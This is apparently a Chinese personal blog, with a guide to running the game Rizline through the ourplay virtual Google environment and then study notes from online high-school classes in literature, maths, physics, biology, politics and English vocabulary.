若你不能安装或者无法安装谷歌服务的时候，可以选择使用ourplay虚拟谷歌环境，这是一个通用的方法，每一个手机基本上都可以使用此方法游玩Rizline

安装教程：

仅需要在各大搜索引擎搜索“ourplay”，找到官网并下载，下载完成之后打开软件会自动安装Google三件套，等待安装完毕之后，将Rizline导入到ourplay中，添加自己的谷歌账号（不会注册的可私聊或者自行百度），从ourplay中打开Rizline【注意：打开前一定要把ourplay自带的加速关闭，使用自己的网络代理软件】，然后就可以登录游戏游玩了

游戏内充值问题

简单的说一下大家充值经常会遇到的一些问题，比如点击探索没有反应或者无法连接至Google Play商店

解决方法：检查自己的网络代理是否可用

<s>由于我不是自己充值的我也没有太多的解决办法</s>

大家可以找别人帮你代充值，并且把曲包顺手给你解锁了，这样的话就可以进入探索界面解锁曲包了

（猜测可能是因为解锁之后不经过Google play商店了）

游玩常见问题

无法上传成绩解决办法：检查自己代理是否可用，若无问题的话基本上就是游戏的bug了
花屏解决方法：重启游戏，实在不行就清除数据或者卸载重装
难受的防糊机制解决方法：调整铺面流速可以缓解

（还有太多问题我就不说了，建议发邮件给Rizline官方或者进入discord频道进行反馈）

我不知道我自己有没有讲错的地方，如果有的话请及时联系我或者在下方留言希望Rizline可以越做越好（温馨提示：现在没有国服是因为国内版号没有批准下来，请各位说话之前先思考）

学习笔记丨网课第十八天[完结]

Fri, 23 Sep 2022 00:00:00 GMT

开学第十八课

语文

百合花

初读效果检测

(一)读准加点字的音。

(二)掌握下列字词。

1、张皇:恐慌，慌张。 2、忸怩:形容不好意思或不大方的样子。 3、执拗:固执任性，不听从别人的意见。 4、尴尬:(神色、态度)不自然。 5、讪讪:难为情的样子。 6、虔诚:恭敬有诚意。

(三)介绍作者及写作背景

茹志鹃，女，王安忆之母，(王安忆，第五届矛盾文学奖获得者，代表作《长恨歌》) 1925年参加新四军，1955年转业到作家协会上海分会，任《文艺月报》编辑。1958年月，在《延河》上发表了著名作品《百合花》，标志着她艺术风格开始形成。这篇"没有爱情的爱情牧歌”，曾被茅盾誉为当时最使他满意和感动的一篇作品，赞赏这篇小说具有清新俊逸的艺术风格，是”静夜的箫声"。

《百合花》里的人物事件并非来自真人真事，但小说里描写的战斗及战斗的时间地点是真实的。1946年中秋节，总攻海岸之战打响，茹志鹃在总攻团的前线包扎所做战勤工作。她在包扎所的第一个工作就是去借被子。战斗开始后，她负责记录那些牺牲的战上的姓名单位，在这过程中不禁设想他们的家庭亲友、他们生前的愿望，以及他们心中的秘密当时的情景和想法她一直没有忘记

1957年前后，茹志鹃的丈夫王啸平被错划为“右派”。丈夫处于岌岌可危之时，茹志鹃却无法救他，而且由于她与丈夫在具体的工作问题上常常站在同一战线上，她也不得不回顾自己走过的道路，一遍一遍地检讨自己的思想。

在承受着政治氛围和紧张的人际关系所带来的无形压力的同时，她不无感慨地回忆起战争年代的同志关系，回忆起1946年那个中秋夜以及在解放战争中遇到的各种人和事:莱芜战役中，她跟随一个通讯员去前沿，在路上敌人的炮弹不时呼啸而来，通讯员为了减少伤亡有意拉开距离A但她却紧张得不由自主地靠他身边靠近，通讯员一见她走近就加快步子往前跑;某次战斗时，她和汪岁寒到一个班里旁听开班会，听说了-位排长的事迹，那位年轻的排长是战斗英雄，却很害羞，说说话就脸红，说的也平常的家常话，这种反差给她留下深刻印象。

回首往事，茹志鹃感到战争使人不能有长谈的机会，但是战争却能使人深交。有时仅几十分钟、几分钟，甚至只来得及瞥一眼，便一闪而过，然而人与人之间，就在这个一刹那里，便能够肝胆相照，生死与共。

于是，茹志鹃决定要写一个普通的战士、一个年轻的通讯员的故事，首先设定的便是他的性格:质朴羞涩。而至于小说的主题她并未想过。她大约用了一个星期就完成了小说，但作品寄出去后不久便被退稿，理由是“感情阴郁不能发表”。几经周折，小说《百合花》终于发表在1958年第3期的《延河》杂志上。

三、速读课文，整体感知

梳理故事情节，思考“我”叙述视角的作用。

故事从“我”在被分配工作时，结识了一个老实腼腆的通讯员开始。通过谈话“我”得知他是老乡。在为部队向人民借被子时，通讯员开始找了一个新媳妇借，但没有借到，“我”得知后主动帮他，最终从新媳妇那里借到了那床漂亮的嫁妆一底上缀有百合花的新被子。他还把衣服挂破了。接着，他完成护送任务返回部队，还给我”留了两个干馒头。后来，“我”在部队帮忙擦洗伤兵，找来帮忙的妇女，当中就有新媳妇。在送来的通讯员当中，我看见了那个挂破的衣服，便知道是他，很担心，从他的战友口中得知他是为了保护医护队才受的伤，待医生到来，通讯员已经牺牲，而那个新媳妇却在专心致志地为他缝衣服，并把自己的嫁妆——百合花被子盖在了他身上。

小通讯员送“我”去包扎所;
小通讯员跟“我”去借被子;
小通讯员牺牲。

开端(1-23)通讯员带“我”去包扎所(带路) 发展(24-43)通讯员随“我”借被子(借被) 高潮(44-57)通讯员救人牺牲(牺牲/献被) 结局(58-59)新媳妇献出自己的新婚被子(盖被)

分析“我”在故事叙述中的作用

小说的次要人物般一般的作用:

①烘托主要人物的性格，如《变色龙》中的巡警叶尔德林; ②牵线搭桥，串起主要人物，推动故事情节的发展，如《孔乞己》中的店小二; ③为主要人物的活动提供了具体环境，起到了渲染气氛、奠定感情色彩基调的作用，如《变色龙》中的众人; ④更好地揭示小说的主旨。

“我”是小说的次要人物，在小说中的作用是什么？

①“我”是小说故事的叙述者，起着贯穿全篇的作用小通讯员和新媳妇两人的内心世界通过“我的观察表现出来。 ②“我”是整个故事的参与者和见证人，是故事的一部分，推动着情节的发展。 ③“我”的形象也表现了战争年代思想感情开放的新女性特有的“利落”和“主见”

注意:如果要问小说采用第一人称叙事，有什么好处？应该如何作答？

1.容易拉近与读者距离，使读者进入“我”这个角色。使文章更具真实性，故事性(曲折性或波折性)便生动形象，使读者能更具体地体会作者心情。 2.便于抒发情感，进行详细心理描。 3.通过对“我”的详细描写，来唤醒读者内心的感受和思考。 4.使故事情节叙述杂而不乱，情感更加动人。

分析人物形象，体会细节描写与伏笔的高妙

1.小通讯员

[提问]小说以第一人称的视角展开，‘我”个是整个故事的串联者，那么我眼中的小通讯员是一个什么样的人呢？作者用了哪些方法来描写这个人物形象？

速读课文，在空白处写出关于小通讯员的描写方法和他的形象特点。

[明确]外貌描写、神态描写，语言描写、动作描写、细节描写、侧面描写等

细节一:“伪装”

第一次是在去包扎所的路上，"我”看见他“肩上的步枪筒里，稀疏地插了几根树枝，这要说是伪装，倒不如算是装饰点缀。(第7段) 第二次是“我”目送他走远了，"看见他的枪筒里不知什么时候又多了一枝野菊花，跟那些树枝-起，在他耳边抖抖地颤动着。“( 42段)

作甩:把小通讯员那纯朴、自然的情趣表现了出来，体现了 小通讯员的青春活力，表现了他对生活的热爱。

细节二:“馒头"

第一次是在小通讯员离开包扎所返回团部时，”走不几步，他又想起了什么，在自己的挎包里掏了一阵，摸出二个馒头，朝我扬了扬，顺手放在路边的石头上，对我说:“给你开饭啦。”(42段)

作用:塑造他体贴、关心他人的好品德。同时，也激起了读者对这个小通讯员的喜爱之情，从而为下文失去这么好的战友而悲痛蓄势。

第二次当小通讯员牺牲后，新媳妇还一针一线地为他缝补衣肩上的破洞“我”害在忍受不了这“沉重的氛围”，“我想看见他坐起来。着见他羞涩地笑，但我无意中碰到了身边的一个什么东西，伸手一摸，是他给我开的饭，两个干硬的馒头……“

作用:“我”睹物思人，勾起“我”对小通讯员的深切思念。通过这“饱含着战友之情”的两个馒头，深切表达了“我”痛失战友的内心悲痛之情，产生了“无声胜有声的艺术效果”，引起了读者的强烈共鸣。

细节三:“衣肩上的破洞”

第一次是在借被时，由于羞涩、慌张，小通讯员在接过新媳妇递过来的新被转身走时，不小心，衣肩上挂破了个洞，而且高低不肯让新媳妇缝补。(34段)

作用:这既照应了前文写的小通讯员的腼腆、憨厚，又表现他的执拗，当然还有带有一点对新媳妇的愠意。

第二次是小通讯员离开包扎所返回团部时，“我”看见他肩上撕挂下来的布片在风里一飘一飘。我真后悔没给他缝上就让他走，现在至少要裸露一个晚上的肩膀了。”(43段)

作用:呼应前文，说明这个破洞确实不小，也写了“我”后悔的心情，细腻地渲染了“我”对小通讯员的惦念、关怀，为下文写小通讯员负伤牺牲埋下伏笔。

第三次，小通讯员躺在门板上，新媳妇看见衣肩上的破洞，发出惊叹.(53段)

作用:这不仅进一步证实担架队抬回来的这个重伤员确实就是小通讯员，而且还说明他从包扎所回到部队后，一直都无暇顾及这个破洞，使小通讯员的形象在读者心目中愈加高大起来。

第四次，新媳妇“低着头，正一针一针在缝他衣肩上那个破洞”，……可新媳妇好像什么也没看见，什么也没听见，依然拿着针，细细地密密地缝着，“我实在看不下去了，劝她不要缝了”，她却异样地了“我”一眼，“低下头，还是一针一针地缝着”。(56段)

作用:这其中，包含着丰富的内容和感情：有对当初小通讯员“受气”的懊悔和内疚，更饱含着对烈士的敬佩和痛悼。文字跌宕起伏，并唤起了读者的种种回忆：借被子门钩挂破衣服，高低不肯让人缝补……

其他描写方式举例: ( 1 )动作描写。小通讯员没借到被子被“我”批评和在新媳妇手中接过被子的尴尬动作，都体现了革命战士憨厚朴实的纯朴美。 ( 2 )对话描写。小通讯员几次与“我”的对话都言之不尽，体现了单纯的年轻战1 t的纯真美。

思考12-23段的对话有哪些作用？ [明确]①在对话中交代人物的身世，不花专门章节来介绍，使行文紧凑; ②描写对话，便于引出对小通讯员神态、心理的描写，更好地突出人物性格。

( 3 )行为描写。小通讯员将自己积攒的口粮留给我，体现了革命战士互相友爱的善良美。 ( 4 )第8节末“他见我挨他坐”后对“他"描写神态描写，写出小通讯员的腼腆、羞涩、局促，表现出他质朴、纯洁的心灵。 ( 5 )侧面描写。第53、54两节，作者通过担架员的语言、动作、神态的描写侧面烘托小通讯员为了救助战友视死如归的牺牲精神。

2. 新媳妇

文中新媳妇和小通讯员见了几次面，从每次见面中可以看出新媳妇是一个什么样的人？第一次新媳妇初遇小通讯员:拒绝了小通讯员的借被要求。(虚写)

[提问]如何理解新媳妇拒绝小通讯员的借被子？会矮化新媳妇的形象吗？

[明确]新媳妇对于借被子一事，体现出不舍与犹豫的特点，这样写使人物形象更真实。这是“一条里外全新的花被子”，新媳妇有些不舍是人之常情。更重要的是，这是她唯一的嫁妆，凝聚着新媳妇深深的情感，她会犹豫是必然的。从身份而言，她是“刚过门三天的新娘子”，要将自己唯一的嫁妆盖到陌生的男人身.上，不舍之中还有一些害羞。想必她还有“男女授受不亲的思想并说过类似的话，通讯员才有了“老百姓死封建”的抱怨。

3. 新媳妇再遇小通讯员

[提问]“门帘一挑，露出一个年轻的媳妇来，这媳妇长得很好看，高高的鼻梁，弯弯的眉，额前一溜蓬松松的刘海....她听着，脸扭向里面，尽咬着嘴唇笑，我说完了，她也不做声，还是低头咬着嘴唇，好像忍了一肚子的笑料没笑完。”

[明确]美丽、羞涩、爱笑，这位农村新媳妇留给我们的第一印象。她将自己唯-的嫁妆，一条里外全新的上面洒满白色百合花的被子无私地借给军队，让人不禁感动。

[提问]最后，新媳妇还是借了被子，说明什么？

[明确]听完“我"说完共产党的部队打仗是为了老百姓的道理后，她犹豫过后，转身进去抱被子了，真实的内心斗争之后的选择彰显出她识大体、顾大局的品格。

[提问]当小通讯员不小心把衣服挂破了时，“她一面笑着，一面赶忙找针拿线，要给他缝上” 说明新媳妇什么特点？

[明确]温柔细心，淳朴善良。

[提问]她来给包扎所帮忙时，寻找小通讯员，还不好意思地笑著说:“刚才借被子，他可受我的气了!”这些描写说明新媳妇怎样的变化？

[明确]由之前的拒绝，到答应借被子，再到这里的心有愧疚之意，写出了她内心的转变过程。

4. 新媳妇三遇小通讯员

[提问]通讯员已经牺牲，明知为通讯员补衣服已经没有实用的意义，新媳妇为什么还缝补通讯员衣服上的破洞，把结婚用的新被子垫放到他的棺木中？

[明确]小通讯员的牺牲成了彻底打开了她内心的钥匙。面对这个用自己的生命保护别人的年轻人，她心底最美的人性完全被激活了。缝衣洞和盖被子是无法控制的深挚情感的倾泻。一是无法补救的歉疚之情;二是对舍己救人的英雄战士无比崇敬、悲痛的感情;三是对这个年轻可爱生命骤然离去的痛惜之情、深情悼念。

5. 小结新媳妇形象

小说通过描写新媳妇的内心变化，突出她纯洁的人性之美。她具有美丽娴静、淳朴善良、纯真高洁、果断、坚毅等形象特点。

小说的女主人公，不是姑娘，也不是大嫂，作者有意设定为新娘、新媳妇，有何妙处？请简要说明。

①突出“新”字，更易于体现女性之美，进而以之衬托年轻通讯员的高大形象。 ②能够突出那条白百合花被子的新与珍贵，更能表现她对革命的支持与对烈士的关爱，从而凸显其心灵之美。 ③能为借被子、给伤员擦拭污泥血迹等情节提供心理依据，使之票真实可信、生动感人。 ④更易于表现借被之难与帮忙之羞涩，从而反衬出军民之间的感情的圣洁美好，突出小说的主旨。

数学

基本不等式

$$ { {a+b}\over 2}\geq \sqrt{ab}\ 注意：1、a>0,b>0\ 2、取等条件：当且仅当a=b时取等\ 3、{ {a+b}\over 2}叫算术平均数，\sqrt{ab}叫几何平均数\ 两个正数的算术平均数不小于它们的几何平均数 $$

基本不等式的几何解释

如图， AB是圆的直径，0为圆心，点C是AB上一点，AC=a， BC=b.过点C作垂直于AB的弦DE，连接AD、BD、OD.

$①如何用a， b表示OD？ OD={ {a+b}\over 2}$ $②如何用a， b表示CD？ CD=\sqrt{ab}$ $③OD与CD的大小关系怎样？ OD\geq CD$

几何意义:半径不小于半弦长

重要不等式与基本不等式的比较

对重要不等式、基本不等式的理解

利用基本不等式求最值

典例解析

$$ 例1、（1）已知a>0,b>0,ab=36，求a+b的最小值 $$

答案：

$$ （2）已知a>0,b>0,a+b=18,求ab的最大值 $$ 答案：

$$ 例2（1）已知x>0,求函数y=x+{1\over x}的最小值\ （2）已知x<0,求函数y=x+{1\over x}的最大值 $$ 答案：

$$ （3）已知x>3,求y=x+{1\over {x-3}}当x取何值时，函数取得最大值？并求最大值。 $$ 答案：

$$ （4）已知0<x<{1\over 2}，求函数y=x(1-2x)的最大值 $$ 答案：

跟踪训练

下列不等式中，正确的是（）\ A. a+{4\over a}\geq 4\ B. a^2+b^2\geq 4ab\ C. \sqrt{ab}\geq { {a+b}\over 2}\ D. x^2+{3\over x^2}\geq 2\sqrt{3} $$

答案：D $$ 2. 设0<x<{3\over 2},求y=4x(3-2x)的最大值 $$ 答案：

$$ 3. 已知函数y=\sqrt{x^2+2}+{ 1\over{\sqrt{x^2+2} } },能否利用基本不等式求其最值 $$ 答案：

问题探究:利用基本不等式求实际问题中的最值

例3 (1)用篱笆围成一个面积为100m的矩形菜园，问这个矩形的长、宽各为多少时，所用篱笆最短。最短的篱笆是多少？

答案：

结论1:两个正变量积为定值，则和有最小值，当且仅当两变量值相等时取最值.简记“积定和最小”

(2) 用段长为36m的篱笆围成一个矩形菜园，问这个矩形菜园的长和宽各为多少时，菜园的面积最大，最大面积是多少？

答案：

结论2:两个正变量和为定值，则积有最大值，当且仅当两变量值相等时取最值.简记“和定积最大”.

例4:某工厂要建造一个长方体形无盖则水池，其容积为4800m3，深为3m.如果池底每平方米的造价为150元，池壁每平方米的造价为120元，怎样设计水池能使总造价最低？最低总造价是多少？

答案：

跟踪训练

1.某地方政府准备在一块面积足够大的荒地上建一如图所示的一个矩形综合性休闲广场，其总面积为3000$m^2$，其中场地四周(阴影部分)为通道，通道宽度均为2m，中间的三个矩形区域将铺设塑胶地面作为运动场地(其中两个小场地形状相同)，塑胶运动场地占地面积为S平方米.

(1)分别写出用x表示y和s的函数关系式(写出函数定义域); (2)怎样设计能使S取得最大值，最大值为多少？

答案：

2.某商品进货价为每件50元，据市场调查，当销售价格为每件x(50≤x≤80)元时，每天销售的件数为${10^5\over { (x-40)^2 } }$，若想每天获得的利润最多，则销售价应定为多少元？

课堂小结

物理

习题处理

【略】

用图像描述直线运动

x-t图像

横轴表示时间t，纵轴表示位移x，反映位移随时间的关系关于位移图象的讨论:

①反映某时刻或某时间内的位移 ②图线的倾斜程度(斜率)等于:速度比较：$V_A>V_B$ ③位移图线不等同于轨迹 ④只能反映质点做直线运动

练习1:请说明下列几个图象反映的运动性质并描述其运动过程

练习2:乌龟白兔赛跑过程中，哪个位移图象表示白兔？

练习3:请描述下图表示的运动状况

练习4.某人沿一条直线运动的x-t图象如图所示，求:

此人在第1s内作何种运动？速度多大？
1.5s末的速度？
最后2s内的速度？
此人在0~4s内的平均速度？

小结

v-t图像

横轴表示时间t，纵轴表示速度v

反映速度随时间的关系($v_t=v_0$)

速度图像中的位移：x=v_0t

速度图像中的位移等于图像与坐标轴包围的“面积”

练习5:请说明下列几个图象反映的运动性质

练习6:请描述下图表示的运动状况

小结

课堂练习

1.关于物体做直线运动过程中的x-t图像，下列说法正确的是( ) A. x-t图像是物体的运动轨迹 B. x-t图像是一条直线，说明物体一定做匀速直线运动 C. x-t图像上每一点的纵坐标表示物体运动的位移 D. 两条x-t图像的交点表示两个物体相遇

答案：CD

2.如图所示，A、B两物体从同-一地点开始运动，由A、B两物体的位移——时间图像可知下列说法中正确的是( ) A. A、B两物体同时从同一位置向同一方向运动 B. A、B两物体自同一位置向同一方向运动，B比A晚出发2s C. A、B两物体速度大小均为10 m/s D. A、B两物体在A出发后4s、距出发点20 m处相遇

答案：BD

3.甲、乙两车一前一后相距x=4m，乙车在前，甲车在后，某时刻两车同时开始运动，两车运动的x-t图像如图所示，下列表述正确的是( ) A. 甲车做直线运动，乙车做曲线运动 B. 甲车先做匀速运动，后静止 C. 乙车的速度不断增大 D. 0-12s内，两车相遇一次

答案：BC

生物

核酸是遗传信息的携带者

讨论

1.DNA的中文名称是什么？为什么DNA能提供嫌疑人的信息？

脱氧核糖核酸。DNA是人的遗传物质，而每个人的遗传物质都有所区别，因此DNA能够提供犯罪嫌疑人的信息

2.你还能说出DNA鉴定技术在其他方面的应用吗？

亲子鉴定、灾难遇害者身份鉴定、研究人类起源、不同类群生物的亲缘关系等方面

核酸的种类及其分布

真核细胞

种类:

脱氧核糖核酸DNA

主要分布在细胞核，线粒体和叶绿体内也含有少量的DNA

核糖核酸RNA

RNA主要分布在细胞质中

思考:原核细胞的DNA位于细胞内的什么部位？

病毒

DNA病毒 (大多数病毒) 噬菌体、天花病毒、乙肝病毒等

RNA病毒 (少数病毒) 艾滋病病毒、新型冠状病毒、埃博拉病毒、SARS病毒、流感病毒、烟草花叶病毒等

核酸是由核苷酸连接而成的长链

1.基本组成单位——核苷酸

讨论1：观察下列两类核苷酸由哪几部分组成？包含哪些元素？它们的区别在哪里？

依据碱基的种类，脱氧核苷酸和核糖核苷酸各分为4种。

4种脱氧核苷酸和4种核糖核苷酸的结构模式简图

课堂巩固

思考: 1.人体细胞核酸中，核酸种类、核苷酸的种类、碱基的种类分别是2、8、5种。

蓝藻细胞和HIV (RNA病毒)的核酸种类、核苷酸的种类、碱基的种类分别

2 8 5 1 4 4

2.如果在豌豆的叶肉细胞中，含有的碱基为X种;在高粱的根尖细胞中，由A、C、T、U 4种碱基参与构成的核苷酸为Y种，则X和Y分别为( D )

A. 4、8 B. 5、8 C. 4、4 D. 5、6

2.核酸是由核苷酸连接而成的长链

在绝大多数生物体的细胞中，DNA是由两条脱氧核苷酸链构成。

核糖核苷酸核糖、核苷酸连接成的长链、RNA分子(单链)

3.核酸的特点:多样性和特异性

多样性:核苷酸的数目、排列顺序不同。 特异性:对于某一种生物，其遗传物质的核苷酸排列顺序是特定的

识图：

4.DNA与RNA的比较

比较项目	DNA	RNA
基本单位	脱氧核苷酸	核糖苷酸
五碳糖	脱氧核糖	核糖
含氮碱基	A、G、C、T	A、G、C、U
单链还是双链	双螺旋结构	单链结构
主要存在部位	细胞核	细胞质

5、核酸的功能

(1)是细胞内携带遗传信息的物质 (2)在生物的遗传、变异和蛋白质的合成中起重要作用

思考:1.为什么DNA可以携带大量的遗传信息？ DNA的脱氧核苷酸排列顺序多种多样。

DNA中碱基(脱氧核苷酸)的排列顺序

2.生物的遗传信息都贮存在DNA中吗？

小结:不同生物的核酸、核苷酸、碱基种类及遗传物质

特别提醒

生物体携带遗传信息的物质(遗传物质)

问题探讨

思考: 1.什么是遗传信息？ 脱氧核苷酸的排列顺序储存着生物的遗传信息

2.生物的遗传信息都储存在DNA中吗？

只有RNA病毒的遗传物质是RNA。除RNA病毒外，其他生物的遗传物质都是DNA。

生物大分子以碳链为骨架

生物大分子:包括多糖、蛋白质、核酸。

1、多聚体: (生物大分子)是由许多单体连接成的。 2、单体:是指组成生物大分子的基本单位。.

每一个单体都由若干个相连的碳原子构成的碳链为基本骨架

生物大分子是由许多单体连接成的多聚体

生物大分子也是以碳链为基本骨架的

C :最基本的元素，生命的核心元素，没有碳就没有生命。

核酸的水解(初步水解、彻底水解)

DNA、RNA在水的存在下，利用酶或其它催化剂进行水解，得到如下产物:

课堂小结

政治

实现中华民族伟大复兴的中国梦(1课时)

一.为什么要复兴中国梦？

古代的辉煌成就

近代中国反侵略战争:鸦片战争、中法战争、甲午战争、八国联军侵华战争

近代中国挽救危亡运动:太平天国运动、洋务运动、戊戌变法、义和团运动

辛亥革命:推翻了封建帝制，但没有改变旧中国的社会性质和人民的悲惨命

抗日战争:赢得了民族解放战争的胜利，实现了民族独立，是中华民族伟大复兴的开端。

结论:中华民族从没有放弃对梦想的追求，只有经历过苦难的民族，才对复兴有如此深切的渴望

现代的成就

农村文盲率下降至10%、7亿农民在近十年摆脱了贫困、中国的平均寿命提高了几十岁等

二.何为中国梦？

1.中国梦的本质

国家富强：国家富强就是要全面建成小康社会，并在此基础上建设富强民主文明和谐美丽的社会主义现代化强国。

民族振兴：民族振兴就是要使中华民族更加坚强有力地自立于世界民族之林，为人类作出新的更大的贡献。

人民幸福：人民幸福就是要坚持以人民为中心，增进人民福祉，促进人类的全面发展，朝着共同富裕方向稳步前进。

2.实现中国梦的伟大意义

①中国梦把国家的追求、民族的向往、人民的期盼融为一体，体现了中华民族和中国人民的整体利益，表达了每一个中华儿女的共同愿景。 ②中国梦已成为激荡在14亿多人心中的高昂旋律，成为中华民族团结奋斗的最大公约数和最大同心圆。

3.中国梦的特点

谁的梦，主体是谁？与世界梦的关系？

人民的梦、国家的梦、民族的梦、世界的梦

中国梦归根到底是人民的梦,必须紧紧依靠人民来实现必须不断为人民造福,人民是中国梦的主体,是创造者和享有者。中国梦要同人们对美好生活的向往结合起来。

中国梦是国家的梦、民族的梦,也是每一个中华儿女的梦,每个人都要把人生理想融入国家和民族的伟大梦想之中,把小我融入大我，汇聚成实现中国梦的强大力量。

中国梦是中国人民追求幸福的梦,也同世界人民的梦想息息相通。中国将同国际社会一道,推动实现持久和平、共同繁荣的世界梦,为人类和平与发展做出更大贡献。

中国梦主体是人民

三.如何实现中国梦？

如何实现?

实现中华民族伟大复兴的历史使命:

(新时代中国共产党的历史使命)

(1)实现伟大梦想，必须进行伟大斗争。

中国越是发展壮大，面临的风险也就越多....——伟大斗争扫清前行障碍 涵盖各个方面 包含经济、政治、文化、社会、生态、国家安全、党的建设等各个方面。. 与不同问题作斗争 包括同错误思想、固化利益、腐败现象、分裂势力、霸权主义、自然灾害等作斗争。. 涉及各个领域 涉及改革发展稳定、内政外交国防、治党治国治军等各个领域。

**原因:**应对重大挑战、抵御重大风险、克服重大阻力、解决重大矛盾，必须进行具有许多新的历史特点的伟大斗争。

要求: 要充分认识伟大斗争的长期性、复杂性、艰巨性,发扬斗争精神,提高斗争本领,不断夺取伟大斗争新胜利。

(2)实现伟大梦想，必须深入推进党的建设新的建设伟大工程。

党的十八大以来——比如,全面落实中央八项规定:比如,坚定不移“打虎”"拍蝇” : 以习近平同志为核心的党中央坚定不移推进全面从严治党，党的建设取得了重大成果。

净化了党内政治生态
纯洁了党员队伍
保持了党的先进性和纯洁性

新的伟大工程:党的建设

原因:办好中国的事情，关键在党。历史证明，没有中国共产党的领导，民族复兴必然是空想。中国共产党要始终成为时代先锋、民族脊梁，始终成为马克思主义执政党,自身必须始终过硬。

要求: ( 1 )不断增强党的政治领导力、思想引领力、群众组织力、社会号召力,永葆旺盛生命力和强大战斗力。 ( 2 )始终走在时代前列;始终成为全国人民的主心骨;始终成为坚强领导核心。(P52)

(3)实现伟大梦想，必须推进伟大事业。

中国共产党始终坚持高举中国特色社会主义旗帜，坚持中国特色社会主义道路。 ——这既是国情的选择，也是实践经验的选择。改革开放40年的成就一一论证了这是一-份具有科学性、现实性和远大发展前景的事业。

伟大事业:中国特色社会主义伟大事业

原因:是改革开放以来党的全部理论和实践的主题

要求:要更加自觉增强道路自信、理论自信、制度自信、文化自信。 既不走闭僵化的老路,也不走改旗易帜的邪路,保持政治定力,坚持实干兴邦,始终坚持和发展中国特色社会主义。

(4)四个伟大之间的关系

伟大斗争，伟大工程，伟大事业，伟大梦想,紧密联系、相互贯通、相互作用。其中起决定性作用的是党的建设新的伟大工程。确保党在世界形势深刻变化的历史进程中始终走在时代前列,始终成为全国人民的主心骨,始终成为坚强的领导核心。

新时代实现中国梦的战略安排是什么?我们应如何做?

分两步走建成社会主义现代化强国

要求1

完成新时代中国特色社会主义发展战略的具体要求: ( 9个)

要贯彻新发展理念，建设现代化经济体系——经济
健全人民当家作主制度体系，发展社会主义民主政治——政治
坚定文化自信，推动社会主义文化繁荣兴盛——文化
提高保障和改善民生水平，加强和创新社会治理——社会
加快生态文明体制改革，建设美丽中国——生态
坚持走中国特色强军之路，全面推进国防和军队现代化——国防
坚持“一国两制”推进祖国统一——国家统一
坚持和平发展道路，推动构建人类命运共同体——外交
坚定不移全面从严治党、不断提高党的执政能力和领导水平——党建

要求2

要抓住大有可为的**“四大”历史机遇期**，锐意进取、埋头苦干、善于创新、永不懈怠。不负时代的要求、历史的期待。

新时代历史机遇期,是中华民族强起来、实现伟大复兴的机遇,是中国特色社会主义道路、理论、制度、文化更加成熟、更具引领力感召力的机遇,是中国人民创造美好生活、走向共同富裕的机遇,是中国共产党从建党百年迈向执政百年、进而铸就千秋伟业的机遇。

实现中国梦,作为青年学生我们应该怎么做?

要求3

做有为青年

广大青年要坚定理想信念,志存高远,脚踏实地,勇做时代的弄潮儿,在实现中国梦的生动实践中放飞青春梦想，在为人民利益的不懈奋斗中书写人生华章！

六点要求：

新时代中国青年要树立远大理想
新时代中国青年要热爱伟大祖国
新时代中国青年要担当时代责任
新时代中国青年要勇于砥砺奋斗
新时代中国青年要练就过硬本领
新时代中国青年要要锤炼品德修为

课堂小结

<h1 style='font-size: 20px'>【今日网课结束】</h1>

最近好几天没有更新学习笔记，在这里还是交代一下境况吧

最近几天发生了很多事情，今天也是，而且今天最糟:sweat:，但是如果我再不进行更新的话，在28号网课结束之后，我就可能拿不到电脑从而弃坑之类的，但是我不想那样，所以接下来的几天，我尽量做到每天都进行更新，每天都高质量的更新，最好做到双更:innocent:(肝又要无了)

所以请大家继续期待并继续关注笔记的更新，也感谢大家一路上的支持:kissing_heart::kissing_heart::kissing_heart::pray::pray::pray:

其实我也不知道开学前能不能全部更完（小声bb） (话说，真的有人会看到这里吗:eyes:)

目前网课笔记已经完结，实在没有时间写了，以后也不会去填坑了

学习笔记丨网课第十七天

Thu, 22 Sep 2022 00:00:00 GMT

开学第十七天

英语

unit 1

Words and expressions

笔记小测

aim n.目标
present vt.呈现
step n.步伐;步调;措施
undergraduate n.大学生;本科生
apply vi.申请.→n.application 申请 n.applicant 申请人
have a good command of掌握;精通
website n.网站
decrease vt.降低;减少
While well-meaning adults may think they' re encouraging kids by sharing their own math fears, research has shown the opposite 虽然善意的成年人可能认为，他们分享自己对数学的恐惧是在鼓励孩子，但研究表明，事实恰恰相反。
be to blame for ..应受责备
measure n.措施 vt.测量;衡量
essential adj.基本的;必不可少的
yield vt.产生;促成
argue v.争论;辩论→n. argument
take vt.携带;拿走;花费;需要,要求;学习,修(课程)
in-person adj.亲身的
have an effecton对...有影响 =affact vt.
attach importance to认为...重要
apart from prep.除...之外
shocked adj.感到震惊的
seekv.寻求寻找→过去式sought→过去分词sought
reason with sb.与某人讲道理;与某人理论
treat sb.to sth. ...款待某人
cancel vt.取消
kiss sb./sth. goodbye ..吻别
work one's head off拼命工作;拼命学习
熬夜;不睡觉stay up
削减;减少cut down
充分利用make the most/best of

单词部分

重点词汇讲解

volunteer n.志愿者，义务工作者;自告奋勇者

vi./vt.自愿(做某事) ,自告奋勇做某事

Volunteer Club 志愿者俱乐部 volunteer to do sth. volunteer for sth.自愿/主动提出做某事

语境感悟: What I want now is two volunteers to come to the front. According to the research, people feel good when they volunteer to do something. meaningful for other people. He volunteered for military service.

归纳拓展: (1)volunteer to do sth.的近义表达: offer to do sth. 、be ready to do sth. (2)派生词: voluntary adj.

练一练: (1)Jackie has been devoted to voluntary (volunteer) work ever since he graduated from college. (2)I need some volunteers (volunteer) to help with the washing-up. (3)Helen volunteered to have( have) Thanksgiving at her house this year.

完成句子 (1)作为志愿者之一，我在一个小山村里教英语已经三年了。 As one of the volunteers , I have taught English in a small mountain village for three years. (2)去年夏天我独自在家的时候，我的邻居主动提出帮我照顾我的宠物狗 My neibours volunteered to take care of my pet dog while I was on vacation last summer.

debate n.辩论，争论，讨论

vt./vi.(尤指正式)辩论，讨论

Debate Club 辩论俱乐部 under debate 正在讨论中 beyond /without debate 无可争论 debate with sb. about/on sth. 就....与某人进行辩论 under discussion在讨论中 under repair在修理中 There is no need (for sb.) to dqsth. (某人)没有必要做某事

debate vt./vi.n.辩论，争论(尤指正式) argue vt./vi.争论;主张argument n. quarrel vi./n.争吵;吵架

语境感悟： After years of heated debate, gray wolves were reintroduced to Yellowstone National Park. As far as I know, the proposal is still under debate. We debated with them on the question till late into the night. The experts are debating how to solve the mystery of the Amber Room’s disappearance. The whole class will debate whether the mobile phones should be banned at school.

练一练：单句语法填空 (1)The two sides debated with each other about/on/over the question of the origin of the universe. (2)The question of building a third airport is still under debate.完成句子

完成句子 There is no need to debate with him about /on/over the matter (因这事与他争论).

